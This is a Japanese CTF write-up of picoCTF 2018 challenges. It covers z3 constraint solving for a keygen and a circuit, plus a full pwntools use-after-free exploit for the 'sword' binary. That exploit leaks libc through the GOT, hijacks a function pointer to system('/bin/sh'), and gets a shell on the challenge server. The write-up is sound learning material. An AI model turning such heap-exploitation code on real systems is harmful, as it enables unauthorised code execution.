それっぽいサイトがいくつかヒットしたのでざっと見た所、どうやら SAT,SMT というのがキーワードのようです。以下のサイトにSATとは、SMTとは、というのが簡単に紹介してありました。

SAT/SMTソルバを自作してみる話 - るくすの日記 ~ Out_Of_Range ~

SATとはsatisfiability problem(充足可能性問題)の略です。 充足可能性問題というのは、一つの命題論理式が与えられたとき、それに含まれる変数の値を偽 (False) あるいは真 (True) にうまく定めることによって全体の値を'真'にできるか、という問題でクラスとしてはNP完全問題になります。

SMTはSatisfiable Modulo Theoriesの略で、一階述語論理式の充足可能性を判定してくれる点がSATソルバと異なります。命題論理よりも表現力が上がるので、ソフトウェアの検証や定理証明等に応用されます。 SMTソルバの基本的な構成は"SATソルバ" + "理論ソルバ"です。

数独みたいな問題も解けるらしい。また知らない分野だった。知らない分野の知識がCTFを通して知れるのは楽しい。
以下の資料もわかりやすかった。

www.slideshare.net

z3が何をしてくれそうかは大体わかった。きっと、今回はこの12個のconstraint関数が全て満たせるような貝を見つけるために使うんでしょう。やっぱりアセンブラは読まなきゃいけないのか…。

z3はこのSMT solverにあたります。ソースはここ。

github.com

z3pyリンク集 | 一生あとで読んでろ こちらのサイトで、z3のpythonバインディング z3py があることを知る。さらに、他に関係ありそうなCTF問へのリンクも。

ということで、z3pyをinstall、使ってみます。上記GitリポジトリをCloneし、READMEを見ながらビルドします。今回はmacOSに直接installしました。
ビルド確認には上記サイトで紹介されている簡単なプログラムを動かしてみました。期待通りの結果が出力。ヨシ(๑•̀ㅂ•́)و✧

これでz3環境が整いました!

次はアセンブラを読んで条件を抽出、python化します。

radareで出したアセンブリ(constraint) をここに貼っていたんだけども、重くなりすぎたので割愛

どうやらすべてのconstraint関数で、sym.ordsym.mod がコールされています。中身を確認すると、どうやら通常のとは少し挙動が違うようなのでこれも関数化しておきます。

radareで出したアセンブリ(ord,mod)

[0x0804870a]> s sym.ord
[0x080486b8]> pdf
/ (fcn) sym.ord 82
|   sym.ord (int arg_8h);
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_8h @ ebp+0x8
|           ; XREFS(33)
|           0x080486b8      55             push ebp
|           0x080486b9      89e5           mov ebp, esp
|           0x080486bb      83ec18         sub esp, 0x18
|           0x080486be      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
|           0x080486c1      8845f4         mov byte [local_ch], al
|           0x080486c4      807df42f       cmp byte [local_ch], 0x2f   ; '/'
|       ,=< 0x080486c8      7e0f           jle 0x80486d9
|       |   0x080486ca      807df439       cmp byte [local_ch], 0x39   ; '9'
|      ,==< 0x080486ce      7f09           jg 0x80486d9
|      ||   0x080486d0      0fb645f4       movzx eax, byte [local_ch]
|      ||   0x080486d4      83e830         sub eax, 0x30               ; '0'
|     ,===< 0x080486d7      eb2f           jmp 0x8048708
|     |||   ; CODE XREFS from sym.ord (0x80486c8, 0x80486ce)
|     |``-> 0x080486d9      807df440       cmp byte [local_ch], 0x40   ; '@'
|     | ,=< 0x080486dd      7e0f           jle 0x80486ee
|     | |   0x080486df      807df45a       cmp byte [local_ch], 0x5a   ; 'Z'
|     |,==< 0x080486e3      7f09           jg 0x80486ee
|     |||   0x080486e5      0fb645f4       movzx eax, byte [local_ch]
|     |||   0x080486e9      83e837         sub eax, 0x37               ; '7'
|    ,====< 0x080486ec      eb1a           jmp 0x8048708
|    ||||   ; CODE XREFS from sym.ord (0x80486dd, 0x80486e3)
|    ||``-> 0x080486ee      83ec0c         sub esp, 0xc
|    ||     0x080486f1      68648f0408     push str.Found_Invalid_Character ; 0x8048f64 ; "Found Invalid Character!"
|    ||     0x080486f6      e895fdffff     call sym.imp.puts           ; int puts(const char *s)
|    ||     0x080486fb      83c410         add esp, 0x10
|    ||     0x080486fe      83ec0c         sub esp, 0xc
|    ||     0x08048701      6a00           push 0
|    ||     0x08048703      e898fdffff     call sym.imp.exit           ; void exit(int status)
|    ||     ; CODE XREFS from sym.ord (0x80486d7, 0x80486ec)
|    ``---> 0x08048708      c9             leave
\           0x08048709      c3             ret
[0x080486b8]> s sym.mod
[0x08048771]> pdf
/ (fcn) sym.mod 37
|   sym.mod (int arg_8h, int arg_ch);
|           ; var int local_4h @ ebp-0x4
|           ; arg int arg_8h @ ebp+0x8
|           ; arg int arg_ch @ ebp+0xc
|           ; XREFS: CALL 0x080487d8  CALL 0x08048830  CALL 0x08048887  CALL 0x080488fc  CALL 0x08048971  CALL 0x080489e6  
|           ; XREFS: CALL 0x08048a5b  CALL 0x08048ad0  CALL 0x08048b45  CALL 0x08048bba  CALL 0x08048c2f  CALL 0x08048ca4  
|           0x08048771      55             push ebp
|           0x08048772      89e5           mov ebp, esp
|           0x08048774      83ec10         sub esp, 0x10
|           0x08048777      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
|           0x0804877a      99             cdq
|           0x0804877b      f77d0c         idiv dword [arg_ch]
|           0x0804877e      8955fc         mov dword [local_4h], edx
|           0x08048781      837dfc00       cmp dword [local_4h], 0
|       ,=< 0x08048785      790a           jns 0x8048791
|       |   0x08048787      8b55fc         mov edx, dword [local_4h]
|       |   0x0804878a      8b450c         mov eax, dword [arg_ch]     ; [0xc:4]=-1 ; 12
|       |   0x0804878d      01d0           add eax, edx
|      ,==< 0x0804878f      eb03           jmp 0x8048794
|      ||   ; CODE XREF from sym.mod (0x8048785)
|      |`-> 0x08048791      8b45fc         mov eax, dword [local_4h]
|      |    ; CODE XREF from sym.mod (0x804878f)
|      `--> 0x08048794      c9             leave
\           0x08048795      c3             ret

z3pyのリファレンスは、日本語サイトのこちらを使いました。

ここで、ord関数で困ったことが。これもz3にぶち込む形にしたかったのですが、"and"(条件式)処理のかきかたがわからぬ。上記のリファレンスを見ても "And は python の and とは違う挙動" ということなので、そもそも条件式としてのandが書けなさそう。少なくとも調べた上ではわからなかったのでord関数が書けない( ತಎತ)

def o(c):
    if c > 0x2f and c <= 0x39:
        return c - 0x30
    else:
        return c - 0x37

こんだけのことなんですけどね。そこでこの関数の役割を考えてみました。

まず、 sym.check_valid_char を見てみると、想定する入力は 0~9, A-Zのみのようです。

また、chr(i) に与える i の入力について、

  • 0x30 ~ 0x3a : 0-9
  • 0x41 ~ 0x60 : A-Z

なので、今回は

  • 数値がきた時は 0~9 (i-0x30) に割当
  • A-Zが来た時は 10~35 (i-0x37) に割当

という変換をしているだけの様子。しかも制約関数には影響がなく、個別の入力値(key[i])に対してのみ作用しているので、解の候補が見つかってから逆変換してあげることで問題なさそう。下記プログラムでは、あえて o(c): ord関数 の呼び出しを残していますが何もさせていません。その代わり、入力値の候補が出た後で戻しています。

アセンブリを12関数も読んだら死んじゃうんじゃないかと思いましたが、幸いconstraint*関数は、1つ読めたら後はほぼ同じパターンだったので助かった。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import z3

# my ord
def o(c):
    return c
    """
  # return z3.If( c>0x2f and c<=0x39, c-0x30, c-0x37 )
  # Error: Symbolic expressions cannot be cast to concrete Boolean values.
  # ということで and の条件式の書き換えがわからなかった。解説参照。下記がやりたかった。
  if c > 0x2f and c <= 0x39:
      return c - 0x30
  else:
      return c - 0x37
  """
    
# my mod
def m(x, y):
    return z3.If( x % y >= 0, x % y, x % y + y )
    """
  # Symbolic expressions cannot be cast to concrete Boolean values.
  # ということでz3で用意している関数の3項演算子に下記を置き換え
  # https://wiki.mma.club.uec.ac.jp/CTF/Toolkit/z3py#A.2BZ2FO9lIGXJA.28If.29
  if x % y >= 0:
      return x % y
  else:
      return x % y + y
  """

s = z3.Solver()

key = []

for i in range(16):
    key.append(z3.Int('k' + str(i)))
    s.add(key[i] >= 0)
    s.add(key[i] <= 10+26-1)

s.add(m((o(key[0]) + o(key[1])), 36) == 14)
s.add(m((o(key[2]) + o(key[3])), 36) == 24)
s.add(m((o(key[2]) - o(key[0])), 36) == 6)
s.add(m((o(key[1]) + o(key[3]) + o(key[5])), 36) == 4)
s.add(m((o(key[2]) + o(key[4]) + o(key[6])), 36) == 13)
s.add(m((o(key[3]) + o(key[4]) + o(key[5])), 36) == 22)
s.add(m((o(key[6]) + o(key[8]) + o(key[10])), 36) == 31)
s.add(m((o(key[1]) + o(key[4]) + o(key[7])), 36) == 7)
s.add(m((o(key[9]) + o(key[12]) + o(key[15])), 36) == 20)
s.add(m((o(key[13]) + o(key[14]) + o(key[15])), 36) == 12)
s.add(m((o(key[8]) + o(key[9]) + o(key[10])), 36) == 27)
s.add(m((o(key[7]) + o(key[12]) + o(key[13])), 36) == 23)

print(s.check())
print(s.model())

output = ''
for i in range(0, 16):
    v =(s.model()[key[i]]).as_long()
    if v < 10: # 数値だった場合
        output += chr(v + 0x30)
    else: # 数値以外だった場合
        output += chr(v + 0x37) 
print(output)

実行結果

$ python solve.py 
sat
[k11 = 0,
 k10 = 20,
 k12 = 0,
 k2 = 9,
 k15 = 13,
 k6 = 11,
 k14 = 15,
 k13 = 20,
 k7 = 3,
 k9 = 7,
 k3 = 15,
 k0 = 3,
 k8 = 0,
 k5 = 14,
 k1 = 11,
 k4 = 29]
3B9FTEB307K00KFD

16桁のkeyっぽいのが求まりました。これをflag.txtがちゃんとおいてあるpicoCTFのshell server上で確認してみます。

$ ./activate 3B9FTEB307K00KFD 
Product Activated Successfully: picoCTF{c0n5tr41nt_50lv1nG_15_W4y_f45t3r_2355915573} 

ᐠ( ᐛ )ᐟ

ちなみに、入力文字が 0-9, A-Z しかなくて、しかも16桁ってわかってる + バイナリもらってる ってことは、ローカルでブルートフォースできるんじゃ?ということでやってみた。が、9時間ぶん回しても出てこなかったので諦めた。

[Web] LambDash 3 (800pt) ※サイトダウンで解けず

C? Who uses that anymore. If we really want to be secure, we should all start learning lambda calculus. http://2018shell.picoctf.com:7284 (link)

Hints

This compiler is 99.9% bug free! I'm sure the other 0.1% won't amount to anything...

タイトルが LambDash 3 だけど、1,2はどこ行ったのだろうか。

指定されたurlに飛んでみます。

f:id:kusuwada:20190904211005p:plain

クライアントを変えて接続してみても変わらず。

$ curl http://2018shell.picoctf.com:7284/
curl: (7) Failed to connect to 2018shell.picoctf.com port 7284: Connection refused

ʅ(´-ω-`)ʃ

[Web] Artisinal Handcrafted HTTP 3 (300pt) もまだ復旧してないみたいだし、picoCTF2019の準備でそれどころじゃないんだろうな。

こちらも問い合わせ先のPiazzaにログインしてみてみます。

f:id:kusuwada:20190904211009p:plain

2019年3月、4月に既に問い合わせがありました。応答はなし。Web問接続できずで2問残ってしもうた( ˘•ω•˘ )

[Reversing] circuit123 (800pt)

Can you crack the key to decrypt map2 for us? The key to map1 is 11443513758266689915.

Hints

Have you heard of z3?

Hintsのz3、さっきやったばっかりやん!やったのは keygen-me-2 問。でも解けているチーム数がこっちのほうが少ないな?

配布されたのは以下。

decrypt.py

#!/usr/bin/python2

from hashlib import sha512
import sys

def verify(x, chalbox):
    length, gates, check = chalbox
    b = [(x >> i) & 1 for i in range(length)]
    for name, args in gates:
        if name == 'true':
            b.append(1)
        else:
            u1 = b[args[0][0]] ^ args[0][1]
            u2 = b[args[1][0]] ^ args[1][1]
            if name == 'or':
                b.append(u1 | u2)
            elif name == 'xor':
                b.append(u1 ^ u2)
    return b[check[0]] ^ check[1]
    
def dec(x, w):
    z = int(sha512(str(int(x))).hexdigest(), 16)
    return '{:x}'.format(w ^ z).decode('hex')

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'Usage: ' + sys.argv[0] + ' <key> <map.txt>'
        print 'Example: Try Running ' + sys.argv[0] + ' 11443513758266689915 map1.txt'
        exit(1)
    with open(sys.argv[2], 'r') as f:
        cipher, chalbox = eval(f.read())
    
    key = int(sys.argv[1]) % (1 << chalbox[0])
    print 'Attempting to decrypt ' + sys.argv[2] + '...'
    if verify(key, chalbox):
        print 'Congrats the flag for ' + sys.argv[2] + ' is:', dec(key, cipher)
    else:
        print 'Wrong key for ' + sys.argv[2] + '.'

map2 37KB!大きい!

(11290419911155290710690302751351816427340816196576026120444648063369847565343076531411187044376577503480139343099182304342421923153437113486849423485713547L, (128, [('true', []), ('xor', [(0, False), (64, False)]), ('xor', [(129, False), (128, True)]), ('or
...(略)

map1 19KB

(1091562780682878452932647567206562803258945860781462102555439111325671293639822353361220777655154004326830877696329866178864341430343894025596404608627826L, (64, [('true', []), ('xor', [(0, False), (64, False)]), ('xor', [(65, False), (64, True)]), ('or'
...(略)

あとは、map1のときのkeyが渡されています。11443513758266689915
まずは decrypt.py を眺めてみます。

print 'Usage: ' + sys.argv[0] + ' <key> <map.txt>'
print 'Example: Try Running ' + sys.argv[0] + ' 11443513758266689915 map1.txt'

とのことなので、keyとmapのあるmap1で試してみます。スクリプトがpython2系なので注意。

$ python decrypt.py 11443513758266689915 map1.txt 
Attempting to decrypt map1.txt...
Congrats the flag for map1.txt is: not_a_flag{Real_flag_will_be_loooooooonger_than_me}

お、割と一瞬で出ました。

次に map1.txt の入出力をサンプルに、変数を出力しながら動作を確認します。
verify 関数の引数および変数は

x: key = 11443513758266689915
length: 64
gates: `('or/xor', [(数値, True/False), (数値, True/False)])` の配列
check: (570, True)
b: 1101111010010000000100111111111110000100111000011111001101111001

gatesの数だけ中の式を計算していき、bに結果を追加していきます。 最終的にcheck[0]で指定したindexの値とcheck[1]の値をxorし、これが True になっていればverify成功です。

z3で解くためには、これを制約に落とし込んで行く必要があります。今回制約の要素としては下記。

  • 未知の値は key
  • 0 < key < (1 << 128)
  • verify(key, chalbox) == True

これをz3にぶち込むのみ。

z3チュートリアルから使ってたInt型だと、論理演算が出来ないそうなのでBitVec型を使えと怒られる。BitVec型はBitVec('変数名', ビット幅)で宣言します。今回、下記よりビット幅を128と設定できます。

key = int(sys.argv[1]) % (1 << chalbox[0])

chalbox[0] = 128

あと、z3-solverを python3でのみinstallしていたので、今回のスクリプトに合わせてpython2でもinstallしようと思ったら

DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7. WARNING: Skipping z3-solver as it is not installed.

ということで出来なかった(競技中は出来たのかな?)。decrypt.pyをpython3に書き直して実施。picoCTF2019ではpython2は滅んでるかな?どうかな?
※python3ではmap*.txtの最初の値にLが不要なので削除することに注意。

結局、本当に verify を z3 にぶち込むだけのお仕事(+ py2 -> py3)になってしまった。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from hashlib import sha512
import sys
from z3 import *
import binascii

def verify(x, chalbox):
    length, gates, check = chalbox
    b = [(x >> i) & 1 for i in range(length)]
    for name, args in gates:
        if name == 'true':
            b.append(1)
        else:
            u1 = b[args[0][0]] ^ args[0][1]
            u2 = b[args[1][0]] ^ args[1][1]
            if name == 'or':
                b.append(u1 | u2)
            elif name == 'xor':
                b.append(u1 ^ u2)
    return b[check[0]] ^ check[1]
    
def dec(x, w): # changed for py3
    z = int(sha512(str(int(x)).encode()).hexdigest(), 16)
    z_str = ('{:x}'.format(w ^ z)).encode()
    return binascii.unhexlify(z_str)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: ' + sys.argv[0] + ' <map.txt>')
        exit(1)
    with open(sys.argv[1], 'r') as f:
        cipher, chalbox = eval(f.read())
    
    ### Start to Solve ###
    s = Solver()
    key = BitVec('key', 128)
    key = key % (1 << chalbox[0])
    s.add(verify(key, chalbox) == True)
    print(s.check())
    print(s.model())
    key = int(str(s.model())[7:-1])
    if verify(key, chalbox):
        print('Congrats the flag for ' + sys.argv[1] + ' is:', dec(key, cipher))
    else:
        print('Wrong key for ' + sys.argv[1] + '.')

実行結果

$ python solve.py map2.txt 
sat
[key = 219465169949186335766963147192904921805]
Congrats the flag for map2.txt is: b'picoCTF{36cc0cc10d273941c34694abdb21580d__aw350m3_ari7hm37ic__}'

今回はヒントが解き方の大部分を締めていたこと、z3を使ったばかりだったこと、元のコードを色々いじったりデバッグしたりして動作を確認しやすかったので、とっつきやすかったです。

[Binary] sword (800pt)

Can you spawn a shell and get the flag? Connect with nc 2018shell.picoctf.com 44116. Source. libc.so.6

Hints

  • ever heard of use after free?
  • Make sure you are run/debug with the provided libc on the shell server

shellを取る問題のようです。ヒントから、ダブルフリーあたりが怪しい気がします。ちなみに、前回解いたダブルフリー関連の問題はSECCON for Beginners CTF 2019 の BabyHeapでした。これでBabyか…と思った記憶。なんだか今回の問題に雰囲気もよく似ています。

配布物は下記。

  • sword: 実行ファイル
  • sword.c: ソース
  • libc.so.6: libc

sword.cはちょっと長めですが、読みやすいコードです。長いのでコード全部の貼り付けは無し。武器の作成・合成・閲覧・破棄・鍛錬・装備という感じのメニューと操作。ゲームやりたくなってきたぞー!picoCTF2018完走したらゲームしよう。そうしようᐠ( ᐛ )ᐟ
※終わる前にドラクエウォーク始めた

接続してみます。

$ nc 2018shell.picoctf.com 44116
/* Welcome! */
1. Forge a sword.        # 剣を作る (create)
2. Synthesise two sword. # 2本の剣を合成
3. Show a sword.         # 剣を見る
4. Destroy a sword.      # 剣を破棄する (free)
5. Harden a sword.       # 剣を鍛える
6. Equip a sword.        # 剣を装備する
7. Quit.

あとはコードの通り、剣の作成など各機能が実行出来ます。

さて、まずは対象のobjectの構造を確認します。

struct sword_s {
    int name_len;
    int weight;
    
    char *sword_name;
    void (*use_sword)(char *ptr);
    int is_hardened;
};

sword_sは、create_sword時にmallocで領域を確保、free_sword時にfreeして使われています。この構造体の中のsword_nameは、harden_sword内でmallocfree_sword内でfreeされています。sword_sをfreeしたけどsword_name領域をfreeし忘れた、もしくはその逆、というのが攻撃に使える予感がします。

use_swordがなんだかややこしい書き方になっています。装備中かどうかのフラグのように見えるのですがどうでしょう。使われているところを検索してみるとこんな箇所が。
equip_sword()関数の最後の行

 /* Apparently there should be system('/bin/sh'). */
    (sword_lists[slot].sword->use_sword)(sword_lists[slot].sword->sword_name);

コメントで、"どうやらsystem('/bin/sh')がありそうです"とのこと。なんか攻撃に使えそう!親切!

メモリ解放周りにアラがないか、引き続き create, free 周りを見てみます。

void create_sword() {
    int slot = pick_sword_free_slot();
    if (slot == -1) {
        printf("Oh my! There are no slot for new swords!\n");
        return;
    }

    sword_lists[slot].sword = malloc(sizeof(struct sword_s));
    if (!sword_lists[slot].sword) {
            puts("malloc() returned NULL. Out of Memory\n");
        exit(-1);
    }

    sword_lists[slot].is_used = 1;
    sword_lists[slot].sword->is_hardened = 0;
    printf("New sword is forged ^_^. sword index is %d.\n", slot);
}
void free_sword() {
    int slot;
    printf("What's the index of the sword?\n");
    slot = get_int();
    if (slot < 0 || slot >= MAX_SWORD_NUM ||
        !sword_lists[slot].is_used) {
        printf("I don't trust your number!!!!\n");
        exit(-1);
    }

    sword_lists[slot].is_used = 0;
    char *name = sword_lists[slot].sword->sword_name;

    free(sword_lists[slot].sword);
    free(name);
}

剣を作ったり破棄する際、sword_listsというのを操作してています。このリストの要素の構造は下記のようになっています。

struct sword_list_s {
    int is_used;
    struct sword_s *sword;
};

各機能実行時に、このis_usedをチェックするようになっています。実際、破棄(free), 閲覧(show), 鍛錬(harden), 合成(synthe)の機能では、各操作の前にsword_lists[*].is_usedを確認しています。ただ一つ、装備(equip)機能のみ、このチェックが外れています。…アヤシイ。

更に free している箇所を探してみると、何故か鍛錬の機能(harden_sword)にこんなロジックが。

    if (len > MAX_SWORD_LEN) {
        printf("The name is too long.\n");
        free(sword_lists[slot].sword);
        return;
    }

"What's the length of the sword name?" と聞かれて入力する値が len に入ってくるわけなんですが、これが MAX_SWORD_LEN(0x100) を超えていたら、鍛錬対象のsword領域をfreeしちゃうようです。通常の剣の破棄と違うプロセス。is_usedも1のままのようです。これは使えそう!
ちなみにこのharden_sword

 printf("OK....Plz wait for forging the sword..........\n");
    sleep((weight + 1) * 10000000);

ここの部分で剣の重さを入力した後sleepが発動し、負の値を入力しないとタイムアウトして Blade master is angry! と怒られて接続切られちゃいます。

また、synthe_sword()関数に /* Vuln. */ とコメントが。…アヤシイ。
この機能の流れは下記。

  • 合成対象のsword1sword2のindex(slot)を入力させます
  • 合成対象の2本の剣を消滅させるために、is_usedを0に設定
  • 合成演出のためにsleep(笑)
  • 剣の名前をマージ
  • 2本目の剣の方に新しい名前を設定
  • 2本目の剣のis_usedを1に設定
  • 1本目の剣の名前をfree

最後の1本目の剣をfreeするときに、nameの領域のみfreeしているのが気になりますが、is_usedを先に0に設定しているので問題なさそうです。うーむ?なにか攻撃に使えるかな?

怪しいところを一通り確認し、攻撃方法を考えてみます。
最終的にshellを取るには、equip機能で参照する sword_name の先にshellを起動する何かを配置できると良さそうです。libcも配布されているので、libcのsystemを使うのかな。

この時(equip時)に触るswordは、提供されたサービスの機能だけを使っているとuse_swordが固定でhoo関数(この剣カッコイイぜ…!っていうだけ)になってしまうため、systemに飛ばすことが出来ません。なので、こっちで都合よいように作って送り込めるとよさそう。

じゃあどうやって好きなswordを作るか?ですが、harden_swordのバグを使います。上記で確認したように、剣の名前の長さを 0x100 以上の指定にすると、sword_list の is_used は 1 のまま、 sword 領域を開放してしまいます。(sword_1)
直後に、もう一度 harden_sword (sword_2)を実行し、今度は正常な長さの name_len を指定すると、そのサイズでメモリを確保してくれます。この時、先程解放した sword_1 の領域が使われます。さらに、harden_sword時のnameswordと同じ構造のデータを送り込んでやると、is_used1のままなので、先程解放したはずのsword_1はまだ生きているとプログラムが勘違いして動いてくれそうです。

この攻撃手法は Use After Free (UAF) と呼ばれており、[Binary] are you root? (550pt)でも使っていました。

このときのsword_1の構造は

struct sword_s {
    int name_len;      // 0x100以下、sword_nameの長さ
    int weight;
    
    char *sword_name;  // libcのbinshのアドレス
    void (*use_sword)(char *ptr); // libcのsystemのアドレス
    int is_hardened;
};

というようになっていると

(sword_lists[slot].sword->use_sword)(sword_lists[slot].sword->sword_name);

equip関数の上記の処理でsehllが起動できそうです。

ここで、libcの色々のアドレスが必要になってきそうなんですが

[*] '***/ctf/picoCTF_2018/Binary/sword/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

PIEまで有効になっているため、アドレスは起動のたびに変わってしまいます。なので、接続時になんとかそれぞれのlibcの機能のアドレスを確認したい。

これは先程と同様、harden 機能のバグを利用して、今度は name に 何らかのfunctionのアドレスが入るようなペイロードを突っ込めば良さそう。

struct sword_s {
    int name_len;      // 0x100以下、sword_nameの長さ
    int weight;
    
    char *sword_name;  // なにかのgotエントリ
    void (*use_sword)(char *ptr); // てきとう
    int is_hardened;
};

このあと、show_swordを実行すると、nameとweightを教えてくれるので、そこに"なにか(今回はputs)"のアドレスが表示されるはず。

最終スクリプトはこちら

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
from ctypes import *

MAX_SWORD_LEN = 0x100
host = '2018shell.picoctf.com'
port = 44116

class sword_s(Structure):
    _fields_ = [('name_len', c_int32),
                ('weight', c_int32),
                ('sword_name', c_char_p),
                ('use_sword', c_char_p),
                ('is_hardened', c_int32)]


def create_sword_s(name_len, name, use_sword):
    sword = sword_s()
    sword.name_len = name_len
    sword.weight = 0
    sword.sword_name = name
    sword.use_sword = use_sword
    sword.is_hardened = 0
    return sword

def pad(size, buff, pad_data):
    while len(buff) < size:
        buff += pad_data
    return buff

def recv_menu():
    r.recvuntil(b'7. Quit.\n')

def forge():
    recv_menu()
    print(b'### 1. Forge')
    r.sendline(b'1')
    r.recvuntil(b'.')
    res = r.recvuntil(b'.')
    print(res)
    idx = int(res[-2:-1])
    return idx

def show(idx):
    recv_menu()
    print(b'### 3. Show: ' + str(idx).encode())
    r.sendline(b'3')
    r.recvuntil(b"What's the index of the sword?")
    r.sendline(str(idx).encode())
    r.recvline()
    r.recvline() # weight
    res = r.recvline()  # name
    print(res)
    name = res.split(b' ')[3].rstrip()
    return name

def harden(idx, name_len, name):
    recv_menu()
    print(b'### 5. Harden: ' + str(idx).encode() + b', name: ' + name)
    r.sendline(b'5')
    r.recvuntil(b"What's the index of the sword?")
    r.sendline(str(idx).encode())
    r.recvuntil(b"What's the length of the sword name?")
    r.sendline(str(name_len).encode())
    if name_len > MAX_SWORD_LEN:
        r.recvuntil(b'The name is too long.')
        print('+++ sword freed illegally.')
        return
    r.recvuntil(b"Plz input the sword name.")
    r.sendline(name)
    r.recvuntil(b"What's the weight of the sword?")
    r.sendline(b'-1')
    print('+++ sword name is malloced & poisoned.')

def equip(idx):
    recv_menu()
    print(b'### 6. Equip: ' + str(idx).encode())
    r.sendline(b'6')
    r.recvuntil(b"What's the index of the sword?")
    r.sendline(str(idx).encode())
    r.recv()


### prepare
target = ELF('./sword')
libc = ELF('./libc.so.6')

r = remote(host, port)
swords = []

### get libc_base
for _ in range(2):
    swords.append(forge())

harden(swords[0], MAX_SWORD_LEN+1, b'')

sword4libc = create_sword_s(8, target.got[b'puts'], 0)

harden(swords[1], sizeof(sword4libc), memoryview(sword4libc).tobytes())
libc_puts = u64(pad(8, show(swords[0]), b'\x00'))
print('+++ libc puts addr: ' + hex(libc_puts))
libc_base = libc_puts - libc.symbols[b'puts']

### get shell
for _ in range(2):
    swords.append(forge())

harden(swords[2], MAX_SWORD_LEN+1, b'')

binsh = b'/bin/sh'
sword4shell = create_sword_s(len(binsh), \
                libc_base + next(libc.search(binsh)), \
                libc_base + libc.symbols[b'system'])

harden(swords[3], sizeof(sword4shell), memoryview(sword4shell).tobytes())

equip(swords[2])

r.interactive()

実行結果

$ python solve.py 
[*] '***/ctf/picoCTF_2018/Binary/sword/sword'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
    RPATH:    b'./'
[*] '***/ctf/picoCTF_2018/Binary/sword/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 2018shell.picoctf.com on port 44116: Done
b'### 1. Forge'
b' sword index is 0.'
b'### 1. Forge'
b' sword index is 1.'
b'### 5. Harden: 0, name: '
+++ sword freed illegally.
b'### 5. Harden: 1, name: \x08\x00\x00\x00\x00\x00\x00\x00  `\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+++ sword name is malloced & poisoned.
b'### 3. Show: 0'
b'The name is \x90\xf6I\xc1v\x7f\n'
+++ libc puts addr: 0x7f76c149f690
b'### 1. Forge'
b' sword index is 2.'
b'### 1. Forge'
b' sword index is 3.'
b'### 5. Harden: 2, name: '
+++ sword freed illegally.
b'### 5. Harden: 3, name: \x07\x00\x00\x00\x00\x00\x00\x00W\xcd[\xc1v\x7f\x00\x00\x90SG\xc1v\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+++ sword name is malloced & poisoned.
b'### 6. Equip: 2'
[*] Switching to interactive mode
$ ls
flag.txt
libc.so.6
sword
sword.c
xinet_startup.sh
$ cat flag.txt
picoCTF{usE_aFt3R_fr3e_1s_aN_1ssu3_300469f1}
$ 
[*] Interrupted
[*] Closed connection to 2018shell.picoctf.com port 44116

ᐠ( ᐛ )ᐟ
しかし、めっちゃ "Vuln." って書いてある synthe_sword 機能を全く使わなかったので、想定解じゃないかもしれない…。picoCTF親切だから本気のヒントだと思って本気で見たんだけどな?

でも今回の解き方もわりと綺麗だと思うんだけどな?

ctypesの紹介

pythonとCといえば、Cythonが有名ですが、私は今回初めてctypesというのを知りました。cの構造体をそのままpythonで表現したかったのでpython c 構造体とかでググったら出てきました。

公式ドキュメントはこちら

ctypes --- Pythonのための外部関数ライブラリ — Python 3.8.0 ドキュメント

ctypes は Python のための外部関数ライブラリです。このライブラリは C と互換性のあるデータ型を提供し、動的リンク/共有ライブラリ内の関数呼び出しを可能にします。動的リンク/共有ライブラリを純粋な Python でラップするために使うことができます。

とのことです。今回はsword_s構造体をこちらで用意し、リクエストに含めて送信する際に利用しました。

公式ドキュメントと、主にこちらの記事を参考にさせていただきました。今回やりたいことが簡潔にまとまっていてわかり易かったです。

[Binary] Contacts (850pt)

This program for storing your contacts is currently in beta. Can you hijack control and get a shell? Connect with nc 2018shell.picoctf.com 40352. Source. libc.so.6

Hints

  • If only the author used calloc() instead...
  • fastbin fastbin fastbin
  • Make sure you are run/debug with the provided libc on the shell server

Shellを取る問題のようです。ヒントから、mallocじゃなくてcallocを使ってれば…ってことなので、callocにはないmalloc脆弱性が問題っぽいです。更にfastbinについての言及があります。大事なことだから3回言っているんでしょうかね。

ちなみに malloc と calloc の違いは

calloc関数は、確保した領域の全てのビットを0で埋める動作を行うことが、malloc関数との違いです

だそうです。なんとなく、メモリが初期化されずに使われる脆弱性がありそうな気がします。

まずは接続して動作を確認してみます。

$ nc 2018shell.picoctf.com 40352
Available commands:
    display - display the contacts
    create [name] - create a new contact
    delete [name] - delete an existing contact
    bio [name] - set the bio for an existing contact
    quit - exit the program

問い合わせか何かの管理をするシステムのようです(contactsの意味がいまいち掴みきれなかった)。contactを登録・削除、既存のcontactにbio(自己紹介)を書く、contactの一覧を見る、の機能のようです。こんな挙動。

Enter your command:
> create test1
Created contact "test1"

Enter your command:
> create test2
Created contact "test2"

Enter your command:
> display
test1 - (No bio)
test2 - (No bio)

Enter your command:
> bio test1
How long will the bio be?
10
Enter your new bio:
abcdefghij
Bio recorded.

Enter your command:
> Invalid option
Available commands:
    display - display the contacts
    create [name] - create a new contact
    delete [name] - delete an existing contact
    bio [name] - set the bio for an existing contact
    quit - exit the program

Enter your command:
> display
test1 - abcdefghij
test2 - (No bio)

Enter your command:
> delete test2
Deleted contact "test2"

Enter your command:
> bio test2
Can't find contact

Enter your command:
> quit

bioを書かせる前に長さを聞いてくるあたりが怪しい。一度削除したcontactにはbio追加できないようだ。今回もソースコードが長めなので全貼りは無し。200行でした。

